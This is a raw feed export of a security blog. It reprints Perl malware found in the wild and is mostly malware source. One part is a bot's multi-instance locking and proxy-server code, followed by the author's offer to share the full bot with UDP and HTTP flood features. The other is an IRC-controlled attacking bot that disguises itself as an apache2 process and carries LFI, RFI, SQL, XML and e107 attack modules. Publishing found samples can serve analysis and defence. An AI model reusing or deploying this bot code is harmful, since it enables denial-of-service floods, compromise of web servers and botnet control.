exec...\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; # Now go back to your regular business.     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exec &amp;quot;$^X $script_path normal&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;}    &lt;br /&gt;#------------------------------------------------------------------#    &lt;br /&gt;sub check_multiprocess {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; for (my $i=0; $i&amp;lt;$number_of_bots; $i++){    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $lockfile=$lockfilename.&amp;quot;.&amp;quot;.$i;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if (-f $lockfile){    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $lock_pid = 0;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; open(LOCK,&amp;quot;&amp;lt;$lockfile&amp;quot;);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $zombie_lock_flag = flock(LOCK,&amp;#160; LOCK_EX|LOCK_NB);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; close (LOCK);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if ($zombie_lock_flag == 0){    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; next;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; } else {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; unlink(&amp;quot;$lockfile&amp;quot;);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; redo;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }else{    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; sysopen(LOCK, $lockfile, O_CREAT|O_EXCL|O_WRONLY) or die &#39;cannot create lock file&#39;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print LOCK &amp;quot;$$\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; close(LOCK);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; open(GLOB_LOCK,&amp;quot;&amp;lt;$lockfile&amp;quot;);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; flock(GLOB_LOCK,&amp;#160; LOCK_EX);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; return 1;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; return 0;    &lt;br /&gt;}    &lt;br /&gt;#------------------------------------------------------------------#&lt;/p&gt;  &lt;p&gt;sub proxy {   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $SIG{CHLD} = \&amp;amp;REAPER;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $child = fork;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if ($child == 0)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $proxySocket;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; socket($proxySocket, PF_INET, SOCK_STREAM, getprotobyname(&#39;tcp&#39;));    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; setsockopt($proxySocket, SOL_SOCKET, SO_REUSEADDR, 1) or die &amp;quot;Can&#39;t set socket option to SO    &lt;br /&gt;_REUSEADDR $!\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; bind ($proxySocket, sockaddr_in($proxyPort, INADDR_ANY)) or die &amp;quot;Can&#39;t bind to port $proxyP    &lt;br /&gt;ort! \n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; listen($proxySocket, SOMAXCONN) or die &amp;quot;listen: $!&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;Server: started on port $proxyPort\n&amp;quot;;&lt;/p&gt;  &lt;p&gt;   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $activeSockets = 0;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; while (1) {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $clientSocket;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $clientAddr;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;Server: waiting for connect...\n&amp;quot;;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $clientAddr = accept($clientSocket, $proxySocket);   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $activeSockets ++;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;Server: new connect. activeSockets = $activeSockets\n&amp;quot;;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $targetHost = &amp;quot;&amp;quot;;   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $x;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $recievedLine = &amp;quot;&amp;quot;;   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $dataToSend = &amp;quot;&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; do {&lt;/p&gt;  &lt;p&gt;…. very long many capabilities udp flood http flood, if anybody would like to have a copy contact me.&lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/691961191617294679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2012/03/perl-bots-recently-found.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/691961191617294679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/691961191617294679'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2012/03/perl-bots-recently-found.html' title='Perl bots recently found'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-166777817494859944</id><published>2011-10-03T22:07:00.001+03:00</published><updated>2011-10-03T22:07:04.178+03:00</updated><title type='text'>Short post, a complete perl attacking bot</title><content type='html'>&lt;p&gt;Something found in the wild, causing some problems in servers here and there. Bot is running impersonating apache2 process,&amp;#160; &amp;quot;/usr/sbin/apache2 -k start&amp;quot;, setting the user-agent with more than 60 different options and attacking a wide range of web applications. &lt;/p&gt;  &lt;p&gt;Code is here,&lt;/p&gt;  &lt;pre style=&quot;border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 560px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px&quot;&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  1: #!/usr/bin/perl&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  2: ################################################  &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  3: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; HTTP::Request;                             #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  4: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; HTTP::Request::Common;                     #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  5: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; HTTP::Request::Common qw(POST);            #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  6: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; LWP::Simple;                               #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  7: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; LWP 5.64;                                  #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  8: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; LWP::UserAgent;                            #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;  9: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; Socket;                                    #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 10: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; IO::Socket;                                #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 11: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; IO::Socket::INET;                          #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 12: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; IO::Select;                                #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 13: &lt;span style=&quot;color: #0000ff&quot;&gt;use&lt;/span&gt; MIME::Base64;             #&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 14: ################################################&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 15: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 16: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $datetime = &lt;span style=&quot;color: #0000ff&quot;&gt;localtime&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 17: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 18: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $Rondoeproc  = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;/usr/sbin/apache2 -k start&lt;/span&gt;&amp;quot;; &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 19: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $ircserver   = $ARGV[0] unless $ircserver;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 20: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $ircport   = $ARGV[1];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 21: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $nickname  = $ARGV[2];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 22: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $ident     = $ARGV[3];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 23: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $channel   = &#39;#&#39;.$ARGV[4];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 24: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $admin     = $ARGV[5];&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 25: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $fullname    = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Suwong Community&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 26: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 27: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $nob0dy    = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;154@9nobody15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 28: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $lfilogo   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11LFI15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 29: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $rfilogo   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11RFI15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 30: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $e107logo  = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11e10715)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 31: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $xmllogo   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11XML15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 32: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $sqllogo   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11SQL15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 